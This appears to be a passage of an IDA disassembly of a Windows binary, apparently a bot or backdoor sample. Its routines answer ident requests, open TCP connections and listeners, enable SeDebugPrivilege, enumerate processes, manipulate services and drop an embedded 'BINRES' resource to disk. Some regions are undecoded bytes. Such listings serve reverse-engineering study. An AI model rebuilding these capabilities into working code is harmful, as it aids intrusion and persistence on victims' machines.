		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		call	sub_5EFFD5
		nop
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6ED9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		call	near ptr 2821EEEh
		nop
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB68
		xor	eax, eax
		mov	dword_50BB54, eax
		mov	dword_50BB4C, 1
		mov	dword_50BB5C, eax
		mov	dword_50BB60, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB6C
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		nop
		call	near ptr 28E0842h
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44794F
		mov	dword_50BB48, 20h
		mov	dword_50BB4C, 2
		mov	dword_50BB50, 3
		mov	dword_50BB54, esi
		mov	dword_50BB58, esi
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	sub_4017E4
		push	eax
		call	near ptr 28E040Fh
		nop
		cmp	eax, esi
		mov	dword_50BB6C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		nop
		call	near ptr 28E0842h


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB68, ecx
		push	100h
		mov	ecx, offset byte_44794F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28E0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2871AC7h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 2780000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 2780619h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 2780A73h
		push	ebp
		mov	esi, eax
		call	near ptr 2780EF8h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 95E89056h, 0C6022DFFh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 28308C8h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 292021Eh
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28D0000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443B04 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 5CE850FFh, 90023B06h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28F088Ah
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 28906B4h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2900000h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 27703CBh
		push	eax
		nop
		call	near ptr 28B14F0h
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2770420h
		push	eax
		nop
		call	near ptr 28B1BAFh
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28C0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27A08E7h
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2770464h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 2700000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2871AC7h
		nop
		test	eax, eax
		mov	dword_50BB70, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27C0924h
		test	eax, eax
		mov	dword_50BB70, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB74, eax
		mov	eax, dword_50BB70
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB70
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB78, eax
		call	esi
		mov	ecx, dword_50BB74
		mov	dword_50BB7C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB78
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB78
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB7C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 28308C8h


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
